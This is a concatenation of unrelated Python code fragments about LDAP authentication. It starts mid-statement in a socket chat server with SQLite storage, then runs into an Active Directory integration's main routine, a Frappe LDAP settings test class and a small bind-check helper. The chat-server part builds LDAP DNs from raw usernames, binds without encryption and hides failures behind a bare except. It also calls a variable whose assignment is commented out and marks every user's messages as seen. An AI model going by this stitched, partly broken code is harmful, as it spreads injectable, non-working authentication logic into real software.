userlist WHERE socketnumber = ?", (sock.fileno(), )) query = c.fetchall() if len(query) is not 0: user = query[0][0] if data['action'] == "authentication": s = Server( "10.129.3.114", get_info=ALL ) # define an unsecure LDAP server, requesting info on DSE and schema name1 = data['username'] dnName = "cn=" + name1 + ",dc=cs252lab,dc=cse,dc=iitb,dc=ac,dc=in" try: con = Connection(s, dnName, data['password'], auto_bind=True) con.bind() msg = 'Authenticated' sock.send(msg.encode()) #check if the user is there in the database c.execute( "SELECT rowid FROM userlist WHERE username = ?", (data['username'], )) query = c.fetchall() # print(query) if len(query) is 0: # If user is not there in the database enter it c.execute( "INSERT INTO userlist VALUES (?,?,1,?)", (data['username'], datetime.datetime.now(), sock.fileno())) else: # else update the online status c.execute( '''UPDATE userlist SET online = ?, lastseen =?, socketnumber =? WHERE username = ? ''', (1, datetime.datetime.now(), sock.fileno(), data['username'])) except: # print ("Your username or password is incorrect.") msg = 'error' sock.send(msg.encode()) # print('failed') if data['action'] == 'exit': c.execute( '''UPDATE userlist SET online = ?, lastseen =?, socketnumber =? WHERE username = ? ''', (0, datetime.datetime.now(), None, data['username'])) print("Exit") msg = "Done" sock.send(msg.encode()) if data['action'] == 'main screen': #Shows the messages received by the user when he was offline and info about how to get help # print('main screen') msg = 'Type <--help--> for help\n' sock.send(msg.encode()) # Get the messages which were not seen by the user c.execute( "SELECT * FROM messagelist WHERE username = ? and seen=? ORDER BY strftime('%Y-%m-%d %H:%M:%S',sentTime) ASC", (user, 0)) query = c.fetchall() msg = '' # if there are some messages then concatenate them if len(query) != 0: msg = msg + 'Your Previous messages are - \n' #for each message convert it into proper format for i in query: time = i[4] time_object = datetime.datetime.strptime( i[4], "%Y-%m-%d %H:%M:%S.%f") if time_object.strftime( "%m %d") == datetime.datetime.now( ).strftime("%m %d"): time = time_object.strftime("%H:%M:%S") else: time = time_object.strftime("%m %d") if i[3] == '': msg = msg + '[M] - [' + i[ 2] + '] - ' + time + '\n' else: msg = msg + '[M] - [' + i[3] + '] - [' + i[ 2] + '] - ' + time + '\n' msg = msg + i[5] sock.send(msg.encode()) #update the seen status of the messages c.execute("UPDATE messagelist SET seen=? WHERE seen=?", (1, 0)) conn.commit() if data['action'] == 'send to users': # print('send to users') sendusers(user, data['users'], data['message']) if data['action'] == 'send to groups': print('send to groups') sendgroups(user, data['groups'], data['message']) if data['action'] == 'leave group': print('leave group') # Leave the group msg = '' for g in data['groups']: # This contains the name of all the groups which the user wants to leave # Get the group Id of all the groups which the user wants to leave c.execute( "SELECT rowid FROM grouplist WHERE groupname = ?", (g, )) q = c.fetchall() query = [] for j in q: query.append(j[0]) # print("query ",query) # Check if the user is a part of those groups user_group_list = [] for i in query: c.execute( "SELECT rowid FROM group_user WHERE user_id=? and group_id = ?", (user, i)) rowid = c.fetchall() if len(rowid) != 0: user_group_list.append(i) if len(user_group_list) == 0: msg = msg + 'The user does not belong to group ' + g + '\n' elif len(user_group_list) == 1: c.execute( "DELETE FROM group_user WHERE user_id = ? and group_id= ?", (user, user_group_list[0])) else: msg = msg + 'There are more than one ocurrance of ' + g + ' Choose an appropriate \n' sock.send(msg.encode()) if data['action'] == 'add users to group': c.execute( "SELECT rowid FROM grouplist WHERE groupname = ?", (data['group'], )) #Get the group id of the group q = c.fetchall() # Check if the group exists if (len(q) == 0): msg = "Invalid Group" sock.send(msg.encode()) else: query = [] ## Add the group id to the list query for j in q: query.append(j[0]) #For checking if the user if a part of this group user_group_list = [] for i in query: #If the user is a part of that group only then append it to user_group_list c.execute( "SELECT rowid FROM group_user WHERE user_id=? and group_id = ?", (user, i)) rowid = c.fetchall() if len(rowid) != 0: user_group_list.append(i) if len(user_group_list) == 1: # Send this message to the users added msg = 'You were added to the group ' + data[ 'group'] + ' by ' + user + '\n' for i in data['users']: # Get the socket number of all the added users c.execute( "SELECT socketnumber FROM userlist WHERE username = ?", (i, )) sockno = c.fetchall() is_online = 0 s = '' # check if they are online for socket in SOCKET_LIST: if sockno[0][0] == socket.fileno(): s = socket is_online = 1 break if is_online == 1: #If is online make the seen field one otherwise 0 and send the message to the added user c.execute( "INSERT INTO messagelist VALUES (?,?,?,?,?,?)", (i, 1, user, data['group'], datetime.datetime.now(), msg)) s.send(msg.encode()) c.execute( "INSERT INTO group_user VALUES (?,?,?)", (i, user_group_list[0], 0)) else: #Add this to the message list c.execute( "INSERT INTO messagelist VALUES (?,?,?,?,?,?)", (i, 0, user, data['group'], datetime.datetime.now(), msg)) c.execute( "INSERT INTO group_user VALUES (?,?,?)", (i, user_group_list[0], 1)) # send this message to the user who sent this command msg = 'Added users to groups :\n' for groups in user_group_list: c.execute( "SELECT groupname FROM grouplist WHERE rowid = ?", (groups, )) name = c.fetchall() msg += name[0][0] + " " msg += '\n' sock.send(msg.encode()) if data['action'] == 'create group': # print('create group') for i in data['groups']: # Insert the group name into the database c.execute("INSERT INTO grouplist VALUES (?)", (i, )) # q=c.lastrowid # print("rowid of inserted",q) #Insert the user into the members of the group c.execute("INSERT INTO group_user VALUES (?,?,?)", (user, q, 0)) # send message to the user who sent this command msg = 'Group created successfully\n' sock.send(msg.encode()) if data['action'] == 'show messages group': # sends the number of messages requested from the group c.execute( "SELECT * FROM messagelist WHERE username = ? and sentByGroup=? ORDER BY strftime('%Y-%m-%d %H:%M:%S',sentTime) DESC", (user, data['group'])) query = c.fetchall() msg = '' # Check if there are any messages in the group if len(query) != 0: msg = msg + 'Previous messages in group ' + data[ 'group'] + ' are - \n' else: msg = msg + 'There are no messages to show\n' for i in range(int(data['number'])): # When number of messages demanded becomes greater than the number of messages available if i > len(query) - 1: break # Get the time stamp of the messages time = query[i][4] time_object = datetime.datetime.strptime( query[i][4], "%Y-%m-%d %H:%M:%S.%f") #Convert into proper format the time stamp if time_object.strftime( "%m %d") == datetime.datetime.now( ).strftime("%m %d"): time = time_object.strftime("%H:%M:%S") else: time = time_object.strftime("%m %d") if query[i][3] == '': # If the message does not belong to a group msg = msg + '[M] - [' + query[i][ 2] + '] - ' + time + '\n' else: # Else the message belongs to a group msg = msg + '[M] - [' + query[i][ 3] + '] - [' + query[i][ 2] + '] - ' + time + '\n' msg = msg + query[i][5] sock.send(msg.encode()) if data['action'] == 'show messages user': # similar to show messages group # Just shows the number of messages demanded which are sent by a specific user c.execute( "SELECT * FROM messagelist WHERE username = ? and sentByUser=? ORDER BY strftime('%Y-%m-%d %H:%M:%S',sentTime) DESC", (user, data['user'])) query = c.fetchall() msg = '' if len(query) != 0: msg = msg + 'Previous messages by user ' + data[ 'user'] + ' are - \n' else: msg = msg + 'There are no messages to show\n' for i in range(int(data['number'])): if i > len(query) - 1: break time = query[i][4] time_object = datetime.datetime.strptime( query[i][4], "%Y-%m-%d %H:%M:%S.%f") if time_object.strftime( "%m %d") == datetime.datetime.now( ).strftime("%m %d"): time = time_object.strftime("%H:%M:%S") else: time = time_object.strftime("%m %d") if query[i][3] == '': msg = msg + '[M] - [' + query[i][ 2] + '] - ' + time + '\n' else: msg = msg + '[M] - [' + query[i][ 3] + '] - [' + query[i][ 2] + '] - ' + time + '\n' msg = msg + query[i][5] sock.send(msg.encode()) if data['action'] == 'show-all-users': # Sends the online status of all the users c.execute("SELECT * from userlist") query = c.fetchall() msg = "" # If there are no users in the database if len(query) == 0: msg = "There are no users to stalk\n" else: msg = "The following users are/were active on the chat client\n" for i in range(len(query)): if query[i][0] != data['username']: if query[i][2] == 1: msg = msg + query[i][ 0] + " is now online\n" else: time_object = datetime.datetime.strptime( query[i][1], "%Y-%m-%d %H:%M:%S.%f") if time_object.strftime( "%m %d" ) == datetime.datetime.now().strftime( "%m %d"): time = time_object.strftime( "%H:%M:%S") else: time = time_object.strftime( "%m %d") msg = msg + query[i][ 0] + " was online at " + time + "\n" sock.send(msg.encode()) if data['action'] == 'show-all-groups': # sends info about all the groups that user is a part of c.execute( "SELECT group_id from group_user WHERE user_id = ?", (data['username'], )) query = c.fetchall() msg = "" # check if the user is a part of any group if len(query) == 0: msg = "You are not a part of any group\n" else: for i in range(len(query)): c.execute( "SELECT user_id from group_user WHERE group_id = ?", (query[i][0], )) # Get all the users of the group query1 = c.fetchall() c.execute( "SELECT groupname from grouplist WHERE rowid = ?", (query[i][0], )) # Get all the group names query2 = c.fetchall() if len(query1) == 1: msg = msg + "Only you are part of the group " + query2[ 0][0] + "\n" else: msg = msg + "The following members are part of the group " + query2[ 0][0] + "\n" for j in range(len(query1)): if query1[j][0] != data['username']: msg = msg + query1[j][0] + "\n" sock.send(msg.encode()) if data['action'] == 'show-specific-groups': # Get the group name requested c.execute( "SELECT rowid from grouplist WHERE groupname = ?", (data['group_name'][0], )) query = c.fetchall() msg = "" # check if the user is a part of the group if len(query) == 0: msg = "You are not a part of this group\n" elif len(query) >= 2: # If there are requests for mutiple groups # Concatenate the group ids of the group in the message msg = "You are part of the following groups:\n" msg = msg + "Select the group id you wish to see with the command <--show-specific-group_id--> group_id\n" for i in range(len(query)): c.execute( "SELECT user_id from group_user WHERE group_id = ?", (query[i][0], )) query1 = c.fetchall() msg = msg + "Group id: " + str( query[i] [0]) + " and Number of users: " + str( len(query1)) + "\n" else: # For single group send the online status c.execute( "SELECT user_id from group_user WHERE group_id = ?", (query[0][0], )) query1 = c.fetchall() count = 0 for i in range(len(query1)): c.execute( "SELECT online from userlist WHERE username = ?", (query1[i][0], )) query2 = c.fetchall() if query2[0][0] == 1: count += 1 msg = "There are " + str( count) + " users online now\n" sock.send(msg.encode()) if data['action'] == 'show-specific-group_id': # Sends the number of users online in the group now c.execute( "SELECT user_id from group_user WHERE group_id = ?", (data['group_id'][0], )) # get all the users in the group query1 = c.fetchall() count = 0 for i in range(len(query1)): if query1[i][0] != data['username']: c.execute( "SELECT online from userlist WHERE username = ?", (query1[i][0], )) query2 = c.fetchall() # for each user check if he is online if query2[0][0] == 1: count += 1 if count > 0: msg = "There are " + str( count) + " users online now\n" else: msg = "Only you are online now\n" sock.send(msg.encode()) if data['action'] == 'block-users': # Prevents the users from sending the message to the user who request this for i in data['users']: # add entry to the database c.execute( "SELECT * FROM blocklist WHERE blockingusername = ? and blockedusername=?", (user, i)) query = c.fetchall() # check if already blocked if len(query) != 0: continue else: c.execute("INSERT INTO blocklist VALUES (?,?)", (user, i)) conn.commit() if data['action'] == 'unblock-users': for i in data['users']: c.execute( "SELECT * FROM blocklist WHERE blockingusername = ? and blockedusername=?", (user, i)) query = c.fetchall() if len(query) == 0: continue else: c.execute( "DELETE FROM blocklist WHERE blockingusername = ? and blockedusername= ?", (user, i)) conn.commit() conn.commit() else: # remove the socket that's broken c.execute( '''UPDATE userlist SET online = ?,lastseen=?, socketnumber =? WHERE socketnumber = ? ''', (0, datetime.datetime.now(), 0, sock.fileno())) if sock in SOCKET_LIST: SOCKET_LIST.remove(sock) conn.commit() server_socket.close()
def main(): ''' INSTANCE CONFIGURATION ''' SERVER_IP = demisto.params().get('server_ip') USERNAME = demisto.params().get('credentials')['identifier'] PASSWORD = demisto.params().get('credentials')['password'] DEFAULT_BASE_DN = demisto.params().get('base_dn') SECURE_CONNECTION = demisto.params().get('secure_connection') DEFAULT_PAGE_SIZE = int(demisto.params().get('page_size')) NTLM_AUTH = demisto.params().get('ntlm') UNSECURE = demisto.params().get('unsecure', False) PORT = demisto.params().get('port') if PORT: # port was configured, cast to int PORT = int(PORT) last_log_detail_level = None try: try: set_library_log_hide_sensitive_data(True) if is_debug_mode(): demisto.info( 'debug-mode: setting library log detail to EXTENDED') last_log_detail_level = get_library_log_detail_level() set_library_log_detail_level(EXTENDED) server = initialize_server(SERVER_IP, PORT, SECURE_CONNECTION, UNSECURE) except Exception as e: return_error(str(e)) return global conn if NTLM_AUTH: # intialize connection to LDAP server with NTLM authentication # user example: domain\user domain_user = SERVER_IP + '\\' + USERNAME if '\\' not in USERNAME else USERNAME conn = Connection(server, user=domain_user, password=PASSWORD, authentication=NTLM) else: # here username should be the user dn conn = Connection(server, user=USERNAME, password=PASSWORD) # bind operation is the “authenticate” operation. try: # open socket and bind to server if not conn.bind(): message = "Failed to bind to server. Please validate the credentials configured correctly.\n{}".format( json.dumps(conn.result)) return_error(message) return except Exception as e: exc_msg = str(e) demisto.info("Failed bind to: {}:{}. {}: {}".format( SERVER_IP, PORT, type(e), exc_msg + "\nTrace:\n{}".format(traceback.format_exc()))) message = "Failed to access LDAP server. Please validate the server host and port are configured correctly" if 'ssl wrapping error' in exc_msg: message = "Failed to access LDAP server. SSL error." if not UNSECURE: message += ' Try using: "Trust any certificate" option.' return_error(message) return demisto.info('Established connection with AD LDAP server') if not base_dn_verified(DEFAULT_BASE_DN): message = "Failed to verify the base DN configured for the instance.\n" \ "Last connection result: {}\n" \ "Last error from LDAP server: {}".format(json.dumps(conn.result), json.dumps(conn.last_error)) return_error(message) return demisto.info('Verfied base DN "{}"'.format(DEFAULT_BASE_DN)) ''' COMMAND EXECUTION ''' if demisto.command() == 'test-module': if conn.user == '': # Empty response means you have no authentication status on the server, so you are an anonymous user. raise Exception("Failed to authenticate user") demisto.results('ok') if demisto.command() == 'ad-search': free_search(DEFAULT_BASE_DN, DEFAULT_PAGE_SIZE) if demisto.command() == 'ad-expire-password': expire_user_password(DEFAULT_BASE_DN) if demisto.command() == 'ad-set-new-password': set_user_password(DEFAULT_BASE_DN) if demisto.command() == 'ad-unlock-account': unlock_account(DEFAULT_BASE_DN) if demisto.command() == 'ad-disable-account': disable_user(DEFAULT_BASE_DN) if demisto.command() == 'ad-enable-account': enable_user(DEFAULT_BASE_DN) if demisto.command() == 'ad-remove-from-group': remove_member_from_group(DEFAULT_BASE_DN) if demisto.command() == 'ad-add-to-group': add_member_to_group(DEFAULT_BASE_DN) if demisto.command() == 'ad-create-user': create_user() if demisto.command() == 'ad-delete-user': delete_user() if demisto.command() == 'ad-update-user': update_user(DEFAULT_BASE_DN) if demisto.command() == 'ad-modify-computer-ou': modify_computer_ou(DEFAULT_BASE_DN) if demisto.command() == 'ad-create-contact': create_contact() if demisto.command() == 'ad-update-contact': update_contact() if demisto.command() == 'ad-get-user': search_users(DEFAULT_BASE_DN, DEFAULT_PAGE_SIZE) if demisto.command() == 'ad-get-computer': search_computers(DEFAULT_BASE_DN, DEFAULT_PAGE_SIZE) if demisto.command() == 'ad-get-group-members': search_group_members(DEFAULT_BASE_DN, DEFAULT_PAGE_SIZE) except Exception as e: message = str(e) if conn: message += "\nLast connection result: {}\nLast error from LDAP server: {}".format( json.dumps(conn.result), conn.last_error) return_error(message) return finally: # disconnect and close the connection if conn: conn.unbind() if last_log_detail_level: set_library_log_detail_level(last_log_detail_level)
class LDAP_TestCase: TEST_LDAP_SERVER = None # must match the 'LDAP Settings' field option TEST_LDAP_SEARCH_STRING = None LDAP_USERNAME_FIELD = None DOCUMENT_GROUP_MAPPINGS = [] LDAP_SCHEMA = None LDAP_LDIF_JSON = None TEST_VALUES_LDAP_COMPLEX_SEARCH_STRING = None def mock_ldap_connection(f): @functools.wraps(f) def wrapped(self, *args, **kwargs): with mock.patch( "frappe.integrations.doctype.ldap_settings.ldap_settings.LDAPSettings.connect_to_ldap" ) as mock_connection: mock_connection.return_value = self.connection self.test_class = LDAPSettings(self.doc) # Create a clean doc localdoc = self.doc.copy() frappe.get_doc(localdoc).save() rv = f(self, *args, **kwargs) # Clean-up self.test_class = None return rv return wrapped def clean_test_users(): try: # clean up test user 1 frappe.get_doc("User", "*****@*****.**").delete() except Exception: pass try: # clean up test user 2 frappe.get_doc("User", "*****@*****.**").delete() except Exception: pass @classmethod def setUpClass(self, ldapServer="OpenLDAP"): self.clean_test_users() # Save user data for restoration in tearDownClass() self.user_ldap_settings = frappe.get_doc("LDAP Settings") # Create test user1 self.user1doc = { "username": "******", "email": "*****@*****.**", "first_name": "posix", } self.user1doc.update({ "doctype": "User", "send_welcome_email": 0, "language": "", "user_type": "System User", }) user = frappe.get_doc(self.user1doc) user.insert(ignore_permissions=True) # Create test user1 self.user2doc = { "username": "******", "email": "*****@*****.**", "first_name": "posix", } self.user2doc.update({ "doctype": "User", "send_welcome_email": 0, "language": "", "user_type": "System User", }) user = frappe.get_doc(self.user2doc) user.insert(ignore_permissions=True) # Setup Mock OpenLDAP Directory self.ldap_dc_path = "dc=unit,dc=testing" self.ldap_user_path = "ou=users," + self.ldap_dc_path self.ldap_group_path = "ou=groups," + self.ldap_dc_path self.base_dn = "cn=base_dn_user," + self.ldap_dc_path self.base_password = "******" self.ldap_server = "ldap://my_fake_server:389" self.doc = { "doctype": "LDAP Settings", "enabled": True, "ldap_directory_server": self.TEST_LDAP_SERVER, "ldap_server_url": self.ldap_server, "base_dn": self.base_dn, "password": self.base_password, "ldap_search_path_user": self.ldap_user_path, "ldap_search_string": self.TEST_LDAP_SEARCH_STRING, "ldap_search_path_group": self.ldap_group_path, "ldap_user_creation_and_mapping_section": "", "ldap_email_field": "mail", "ldap_username_field": self.LDAP_USERNAME_FIELD, "ldap_first_name_field": "givenname", "ldap_middle_name_field": "", "ldap_last_name_field": "sn", "ldap_phone_field": "telephonenumber", "ldap_mobile_field": "mobile", "ldap_security": "", "ssl_tls_mode": "", "require_trusted_certificate": "No", "local_private_key_file": "", "local_server_certificate_file": "", "local_ca_certs_file": "", "ldap_group_objectclass": "", "ldap_group_member_attribute": "", "default_role": "Newsletter Manager", "ldap_groups": self.DOCUMENT_GROUP_MAPPINGS, "ldap_group_field": "", } self.server = Server(host=self.ldap_server, port=389, get_info=self.LDAP_SCHEMA) self.connection = Connection( self.server, user=self.base_dn, password=self.base_password, read_only=True, client_strategy=MOCK_SYNC, ) self.connection.strategy.entries_from_json( os.path.abspath(os.path.dirname(__file__)) + "/" + self.LDAP_LDIF_JSON) self.connection.bind() @classmethod def tearDownClass(self): try: frappe.get_doc("LDAP Settings").delete() except Exception: pass try: # return doc back to user data self.user_ldap_settings.save() except Exception: pass # Clean-up test users self.clean_test_users() # Clear OpenLDAP connection self.connection = None @mock_ldap_connection def test_mandatory_fields(self): mandatory_fields = [ "ldap_server_url", "ldap_directory_server", "base_dn", "password", "ldap_search_path_user", "ldap_search_path_group", "ldap_search_string", "ldap_email_field", "ldap_username_field", "ldap_first_name_field", "require_trusted_certificate", "default_role", ] # fields that are required to have ldap functioning need to be mandatory for mandatory_field in mandatory_fields: localdoc = self.doc.copy() localdoc[mandatory_field] = "" try: frappe.get_doc(localdoc).save() self.fail( "Document LDAP Settings field [{0}] is not mandatory". format(mandatory_field)) except frappe.exceptions.MandatoryError: pass except frappe.exceptions.ValidationError: if mandatory_field == "ldap_search_string": # additional validation is done on this field, pass in this instance pass for non_mandatory_field in self.doc: # Ensure remaining fields have not been made mandatory if non_mandatory_field == "doctype" or non_mandatory_field in mandatory_fields: continue localdoc = self.doc.copy() localdoc[non_mandatory_field] = "" try: frappe.get_doc(localdoc).save() except frappe.exceptions.MandatoryError: self.fail( "Document LDAP Settings field [{0}] should not be mandatory" .format(non_mandatory_field)) @mock_ldap_connection def test_validation_ldap_search_string(self): invalid_ldap_search_strings = [ "", "uid={0}", "(uid={0}", "uid={0})", "(&(objectclass=posixgroup)(uid={0})", "&(objectclass=posixgroup)(uid={0}))", "(uid=no_placeholder)", ] # ldap search string must be enclosed in '()' for ldap search to work for finding user and have the same number of opening and closing brackets. for invalid_search_string in invalid_ldap_search_strings: localdoc = self.doc.copy() localdoc["ldap_search_string"] = invalid_search_string try: frappe.get_doc(localdoc).save() self.fail( "LDAP search string [{0}] should not validate".format( invalid_search_string)) except frappe.exceptions.ValidationError: pass def test_connect_to_ldap(self): # setup a clean doc with ldap disabled so no validation occurs (this is tested seperatly) local_doc = self.doc.copy() local_doc["enabled"] = False self.test_class = LDAPSettings(self.doc) with mock.patch("ldap3.Server") as ldap3_server_method: with mock.patch("ldap3.Connection") as ldap3_connection_method: ldap3_connection_method.return_value = self.connection with mock.patch("ldap3.Tls") as ldap3_Tls_method: function_return = self.test_class.connect_to_ldap( base_dn=self.base_dn, password=self.base_password) args, kwargs = ldap3_connection_method.call_args prevent_connection_parameters = { # prevent these parameters for security or lack of the und user from being able to configure "mode": { "IP_V4_ONLY": "Locks the user to IPv4 without frappe providing a way to configure", "IP_V6_ONLY": "Locks the user to IPv6 without frappe providing a way to configure", }, "auto_bind": { "NONE": "ldap3.Connection must autobind with base_dn", "NO_TLS": "ldap3.Connection must have TLS", "TLS_AFTER_BIND": "[Security] ldap3.Connection TLS bind must occur before bind", }, } for connection_arg in kwargs: if (connection_arg in prevent_connection_parameters and kwargs[connection_arg] in prevent_connection_parameters[connection_arg]): self.fail( "ldap3.Connection was called with {0}, failed reason: [{1}]" .format( kwargs[connection_arg], prevent_connection_parameters[ connection_arg][ kwargs[connection_arg]], )) if local_doc["require_trusted_certificate"] == "Yes": tls_validate = ssl.CERT_REQUIRED tls_version = ssl.PROTOCOL_TLS_CLIENT tls_configuration = ldap3.Tls(validate=tls_validate, version=tls_version) self.assertTrue( kwargs["auto_bind"] == ldap3.AUTO_BIND_TLS_BEFORE_BIND, "Security: [ldap3.Connection] autobind TLS before bind with value ldap3.AUTO_BIND_TLS_BEFORE_BIND", ) else: tls_validate = ssl.CERT_NONE tls_version = ssl.PROTOCOL_TLS_CLIENT tls_configuration = ldap3.Tls(validate=tls_validate, version=tls_version) self.assertTrue(kwargs["auto_bind"], "ldap3.Connection must autobind") ldap3_Tls_method.assert_called_with(validate=tls_validate, version=tls_version) ldap3_server_method.assert_called_with( host=self.doc["ldap_server_url"], tls=tls_configuration) self.assertTrue( kwargs["password"] == self.base_password, "ldap3.Connection password does not match provided password", ) self.assertTrue( kwargs["raise_exceptions"], "ldap3.Connection must raise exceptions for error handling" ) self.assertTrue( kwargs["user"] == self.base_dn, "ldap3.Connection user does not match provided user") ldap3_connection_method.assert_called_with( server=ldap3_server_method.return_value, auto_bind=True, password=self.base_password, raise_exceptions=True, read_only=True, user=self.base_dn, ) self.assertTrue( type(function_return) is ldap3.core.connection.Connection, "The return type must be of ldap3.Connection", ) function_return = self.test_class.connect_to_ldap( base_dn=self.base_dn, password=self.base_password, read_only=False) args, kwargs = ldap3_connection_method.call_args self.assertFalse( kwargs["read_only"], "connect_to_ldap() read_only parameter supplied as False but does not match the ldap3.Connection() read_only named parameter", ) @mock_ldap_connection def test_get_ldap_client_settings(self): result = self.test_class.get_ldap_client_settings() self.assertIsInstance(result, dict) self.assertTrue(result["enabled"] == self.doc["enabled"]) # settings should match doc localdoc = self.doc.copy() localdoc["enabled"] = False frappe.get_doc(localdoc).save() result = self.test_class.get_ldap_client_settings() self.assertFalse(result["enabled"]) # must match the edited doc @mock_ldap_connection def test_update_user_fields(self): test_user_data = { "username": "******", "email": "*****@*****.**", "first_name": "posix", "middle_name": "another", "last_name": "user", "phone": "08 1234 5678", "mobile_no": "0421 123 456", } test_user = frappe.get_doc("User", test_user_data["email"]) self.test_class.update_user_fields(test_user, test_user_data) updated_user = frappe.get_doc("User", test_user_data["email"]) self.assertTrue( updated_user.middle_name == test_user_data["middle_name"]) self.assertTrue(updated_user.last_name == test_user_data["last_name"]) self.assertTrue(updated_user.phone == test_user_data["phone"]) self.assertTrue(updated_user.mobile_no == test_user_data["mobile_no"]) @mock_ldap_connection def test_sync_roles(self): if self.TEST_LDAP_SERVER.lower() == "openldap": test_user_data = { "posix.user1": [ "Users", "Administrators", "default_role", "frappe_default_all", "frappe_default_guest", ], "posix.user2": [ "Users", "Group3", "default_role", "frappe_default_all", "frappe_default_guest", ], } elif self.TEST_LDAP_SERVER.lower() == "active directory": test_user_data = { "posix.user1": [ "Domain Users", "Domain Administrators", "default_role", "frappe_default_all", "frappe_default_guest", ], "posix.user2": [ "Domain Users", "Enterprise Administrators", "default_role", "frappe_default_all", "frappe_default_guest", ], } role_to_group_map = { self.doc["ldap_groups"][0]["erpnext_role"]: self.doc["ldap_groups"][0]["ldap_group"], self.doc["ldap_groups"][1]["erpnext_role"]: self.doc["ldap_groups"][1]["ldap_group"], self.doc["ldap_groups"][2]["erpnext_role"]: self.doc["ldap_groups"][2]["ldap_group"], "Newsletter Manager": "default_role", "All": "frappe_default_all", "Guest": "frappe_default_guest", } # re-create user1 to ensure clean frappe.get_doc("User", "*****@*****.**").delete() user = frappe.get_doc(self.user1doc) user.insert(ignore_permissions=True) for test_user in test_user_data: test_user_doc = frappe.get_doc("User", test_user + "@unit.testing") test_user_roles = frappe.get_roles(test_user + "@unit.testing") self.assertTrue( len(test_user_roles) == 2, "User should only be a part of the All and Guest roles" ) # check default frappe roles self.test_class.sync_roles( test_user_doc, test_user_data[test_user]) # update user roles frappe.get_doc("User", test_user + "@unit.testing") updated_user_roles = frappe.get_roles(test_user + "@unit.testing") self.assertTrue( len(updated_user_roles) == len(test_user_data[test_user]), "syncing of the user roles failed. {0} != {1} for user {2}". format(len(updated_user_roles), len(test_user_data[test_user]), test_user), ) for user_role in updated_user_roles: # match each users role mapped to ldap groups self.assertTrue( role_to_group_map[user_role] in test_user_data[test_user], "during sync_roles(), the user was given role {0} which should not have occured" .format(user_role), ) @mock_ldap_connection def test_create_or_update_user(self): test_user_data = { "posix.user1": [ "Users", "Administrators", "default_role", "frappe_default_all", "frappe_default_guest", ], } test_user = "******" frappe.get_doc("User", test_user + "@unit.testing").delete() # remove user 1 with self.assertRaises( frappe.exceptions.DoesNotExistError ): # ensure user deleted so function can be tested frappe.get_doc("User", test_user + "@unit.testing") with mock.patch( "frappe.integrations.doctype.ldap_settings.ldap_settings.LDAPSettings.update_user_fields" ) as update_user_fields_method: update_user_fields_method.return_value = None with mock.patch( "frappe.integrations.doctype.ldap_settings.ldap_settings.LDAPSettings.sync_roles" ) as sync_roles_method: sync_roles_method.return_value = None # New user self.test_class.create_or_update_user( self.user1doc, test_user_data[test_user]) self.assertTrue( sync_roles_method.called, "User roles need to be updated for a new user") self.assertFalse( update_user_fields_method.called, "User roles are not required to be updated for a new user, this will occur during logon", ) # Existing user self.test_class.create_or_update_user( self.user1doc, test_user_data[test_user]) self.assertTrue( sync_roles_method.called, "User roles need to be updated for an existing user") self.assertTrue( update_user_fields_method.called, "User fields need to be updated for an existing user") @mock_ldap_connection def test_get_ldap_attributes(self): method_return = self.test_class.get_ldap_attributes() self.assertTrue(type(method_return) is list) @mock_ldap_connection def test_fetch_ldap_groups(self): if self.TEST_LDAP_SERVER.lower() == "openldap": test_users = { "posix.user": ["Users", "Administrators"], "posix.user2": ["Users", "Group3"] } elif self.TEST_LDAP_SERVER.lower() == "active directory": test_users = { "posix.user": ["Domain Users", "Domain Administrators"], "posix.user2": ["Domain Users", "Enterprise Administrators"], } for test_user in test_users: self.connection.search( search_base=self.ldap_user_path, search_filter=self.TEST_LDAP_SEARCH_STRING.format(test_user), attributes=self.test_class.get_ldap_attributes(), ) method_return = self.test_class.fetch_ldap_groups( self.connection.entries[0], self.connection) self.assertIsInstance(method_return, list) self.assertTrue(len(method_return) == len(test_users[test_user])) for returned_group in method_return: self.assertTrue(returned_group in test_users[test_user]) @mock_ldap_connection def test_authenticate(self): with mock.patch( "frappe.integrations.doctype.ldap_settings.ldap_settings.LDAPSettings.fetch_ldap_groups" ) as fetch_ldap_groups_function: fetch_ldap_groups_function.return_value = None self.assertTrue( self.test_class.authenticate("posix.user", "posix_user_password")) self.assertTrue( fetch_ldap_groups_function.called, "As part of authentication function fetch_ldap_groups_function needs to be called", ) invalid_users = [ { "prefix_posix.user": "******" }, { "posix.user_postfix": "posix_user_password" }, { "posix.user": "******" }, { "posix.user": "******" }, { "posix.user": "" }, { "": "posix_user_password" }, { "": "" }, ] # All invalid users should return 'invalid username or password' for username, password in enumerate(invalid_users): with self.assertRaises( frappe.exceptions.ValidationError) as display_massage: self.test_class.authenticate(username, password) self.assertTrue( str(display_massage.exception).lower() == "invalid username or password", "invalid credentials passed authentication [user: {0}, password: {1}]" .format(username, password), ) @mock_ldap_connection def test_complex_ldap_search_filter(self): ldap_search_filters = self.TEST_VALUES_LDAP_COMPLEX_SEARCH_STRING for search_filter in ldap_search_filters: self.test_class.ldap_search_string = search_filter if ( "ACCESS:test3" in search_filter ): # posix.user does not have str in ldap.description auth should fail with self.assertRaises( frappe.exceptions.ValidationError) as display_massage: self.test_class.authenticate("posix.user", "posix_user_password") self.assertTrue( str(display_massage.exception).lower() == "invalid username or password") else: self.assertTrue( self.test_class.authenticate("posix.user", "posix_user_password")) def test_reset_password(self): self.test_class = LDAPSettings(self.doc) # Create a clean doc localdoc = self.doc.copy() localdoc["enabled"] = False frappe.get_doc(localdoc).save() with mock.patch( "frappe.integrations.doctype.ldap_settings.ldap_settings.LDAPSettings.connect_to_ldap" ) as connect_to_ldap: connect_to_ldap.return_value = self.connection with self.assertRaises( frappe.exceptions.ValidationError ) as validation: # Fail if username string used self.test_class.reset_password("posix.user", "posix_user_password") self.assertTrue( str(validation.exception) == "No LDAP User found for email: posix.user") try: self.test_class.reset_password( "*****@*****.**", "posix_user_password") # Change Password except Exception: # An exception from the tested class is ok, as long as the connection to LDAP was made writeable pass connect_to_ldap.assert_called_with(self.base_dn, self.base_password, read_only=False) @mock_ldap_connection def test_convert_ldap_entry_to_dict(self): self.connection.search( search_base=self.ldap_user_path, search_filter=self.TEST_LDAP_SEARCH_STRING.format("posix.user"), attributes=self.test_class.get_ldap_attributes(), ) test_ldap_entry = self.connection.entries[0] method_return = self.test_class.convert_ldap_entry_to_dict( test_ldap_entry) self.assertTrue(type(method_return) is dict) # must be dict self.assertTrue( len(method_return) == 6) # there are 6 fields in mock_ldap for use
def check_bind(server, uid, password): conn = Connection(server, uid, password) if not conn.bind(): raise ExceptionWrongUserPass conn.unbind()
